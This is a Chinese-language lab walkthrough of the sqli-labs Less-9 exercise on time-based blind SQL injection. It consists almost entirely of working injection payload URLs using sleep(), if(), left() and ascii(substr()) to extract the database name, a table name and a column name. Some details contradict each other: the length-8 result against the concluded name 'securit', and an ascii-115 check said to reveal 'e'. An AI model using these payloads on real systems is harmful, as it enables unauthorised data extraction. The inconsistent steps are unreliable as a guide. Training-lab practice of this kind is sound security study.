Less-9(基于时间的盲注)
查看Less-9 的源码
所以无论我们怎样符号注入,结果都是一样
http://localhost/sqli-labs-master/Less-9/?id=1'') --+
http://localhost/sqli-labs-master/Less-9/?id=1' --+
http://localhost/sqli-labs-master/Less-9/?id=1"--+
以上三个结果显示都是一样的页面
无论我们是单引号注入,还是双引号注入,还是基于布尔报错注入,都是无法出现结果
所以,在这里我们必须与用基于时间盲注手法 去测试
当语句为
http://localhost/sqli-labs-master/Less-9/?id=1 and sleep(5)--+ 没有延迟5秒显示
当语句为:
http://localhost/sqli-labs-master/Less-9/?id=1' and sleep(5)--+ 延迟5秒显示
当语句为:
http://localhost/sqli-labs-master/Less-9/?id=1" and sleep(5)--+ 没有延迟5秒显示
当语句为:
http://localhost/sqli-labs-master/Less-9/?id=1') and sleep(5)--+ 没有延迟5秒显示
我们发现只有第二条语句延迟五秒显示,所以我们可以判断这是一条基于单引号时间
拓展:if(判断条件,结果正确执行,结果错误执行)
常用判断语句
' and if(1,sleep(5),1) %23
' and if(1=0,1,sleep(10)) --+
" and if(1=0,1, sleep(10)) --+
) and if(1=0,1, sleep(10)) --+
') and if(1=0,1, sleep(10)) --+
") and if(1=0,1, sleep(10)) --+
猜测数据库名的长度
测试语句:http://localhost/sqli-labs-master/Less-9/?id=1' and if(length(database())=8,sleep(5),1)--+
发现,只有当长度为8的时候,会延迟五秒。
测试数据库的名字第一个字母
测试语句:http://localhost/sqli-labs-master/Less-9/?id=1' and if(left(database(),1)>'a',sleep(5),1)--+
紧接着我们可以依次的爆破出数据库第二个字母;
测试代码:http://localhost/sqli-labs-master/Less-9/?id=1' and if(left(database(),2)>'se',sleep(5),1)--+
当然也可以这样写:
正确的时候直接返回,不正确的时候等待 5 秒钟,只给出正确的:
http://127.0.0.1/sqli-labs/-master/Less-9/?id=1' and If(ascii(substr(database(),1,1))=115,1,sleep(5))--+说明第一位是 e (ascii 码是 101)
....
以此类推,我们知道了数据库名字是 securit
注入查询表名
测试语句:http://localhost/sqli-labs-master/Less-9/?id=1' and if(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)='e',sleep(5),1)--+
测试语句: http://localhost/sqli-labs-master/Less-9/?id=1' and if(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),6)='emails',sleep(5),1)--+
经过查询,第一个表表名为emails
猜测查询字段名称
测试语句
http://localhost/sqli-labs-master/Less-9/?id=1' and if(left((select column_name from information_schema.columns where table_name='emails' and table_schema=database() limit 0,1),2)='id' ,sleep(5),1)--+
暂时就测到这里。